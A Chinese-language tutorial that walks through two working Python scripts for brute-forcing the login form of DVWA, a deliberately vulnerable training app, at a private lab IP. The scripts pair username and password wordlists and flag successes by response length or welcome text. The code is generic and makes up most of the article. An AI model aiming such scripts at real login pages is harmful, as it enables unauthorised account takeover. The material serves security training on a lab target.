Python破解網(wǎng)站登錄密碼腳本
測試靶機(jī)為DVWA,適合DVWA暴力破解模塊的Low和Medium等級
關(guān)鍵代碼解釋
url指定url地址
url?=?"http://192.168.171.2/dvwa/vulnerabilities/brute/"
header設(shè)置請求頭
header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7' }
payload設(shè)置請求參數(shù)
payload?=?{'username':username,'password':password,"Login":'Login'}
這一行的作用是作一次get請求,響應(yīng)信息被變量Response接收
Response?=?requests.get(url,params=payload,headers=header)
這兩行代碼循環(huán)遍歷賬號和密碼字典文件,之后給他們做笛卡爾積循環(huán)暴力破解
這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
然后把循環(huán)結(jié)果存放到csv文件里,用逗號分割數(shù)據(jù)
Response.status_code是響應(yīng)的http狀態(tài)碼,len(Response.content)是http響應(yīng)報文的長度
result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n')
完整代碼
方法一
登陸成功的和失敗返回數(shù)據(jù)不同,所以數(shù)據(jù)包長度也不同。包長度與其他不同的數(shù)據(jù),可能就是正確的賬號密碼。
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.csv','w') f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n') print('\n完成')
運(yùn)行結(jié)果
運(yùn)行
這就是腳本發(fā)送的數(shù)據(jù)包
查看結(jié)果
查看包長度與其他不同的數(shù)據(jù),登錄測試
方法二
這個方法是根據(jù)登陸成功的返回特征來判斷是否為正確的賬號密碼,然后把正確的賬號密碼輸出到屏幕和txt文件里
主要改動在第17到20行
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.txt','w') for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')
運(yùn)行結(jié)果
到此這篇關(guān)于Python破解網(wǎng)站登錄密碼腳本的文章就介紹到這了,更多相關(guān)Python破解網(wǎng)站登錄密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
OpenCV3.0+Python3.6實(shí)現(xiàn)特定顏色的物體追蹤
這篇文章主要為大家詳細(xì)介紹了OpenCV3.0+Python3.6實(shí)現(xiàn)特定顏色的物體追蹤,具有一定的參考價值,感興趣的小伙伴們可以參考一下2019-07-07基于Python實(shí)現(xiàn)船舶的MMSI的獲取(推薦)
工作中遇到一個需求,需要通過網(wǎng)站查詢船舶名稱得到MMSI碼,網(wǎng)站來自船訊網(wǎng)。這篇文章主要介紹了基于Python實(shí)現(xiàn)船舶的MMSI的獲取,需要的朋友可以參考下2019-10-10pytorch教程之Tensor的值及操作使用學(xué)習(xí)
這篇文章主要為大家介紹了pytorch教程中關(guān)于Tensor的操作使用,有需要的朋友可以借鑒參考下,希望可以有所幫助,祝大家升職加薪,共同進(jìn)步2021-09-09Django Admin設(shè)置應(yīng)用程序及模型順序方法詳解
這篇文章主要介紹了Django Admin設(shè)置應(yīng)用程序及模型順序方法詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-04-04基于python實(shí)現(xiàn)判斷字符串是否數(shù)字算法
這篇文章主要介紹了基于python實(shí)現(xiàn)判斷字符串是否數(shù)字算法,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-07-07Python中的內(nèi)置函數(shù)isdigit()
這篇文章主要介紹了Python中的內(nèi)置函數(shù)isdigit(),具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-11-11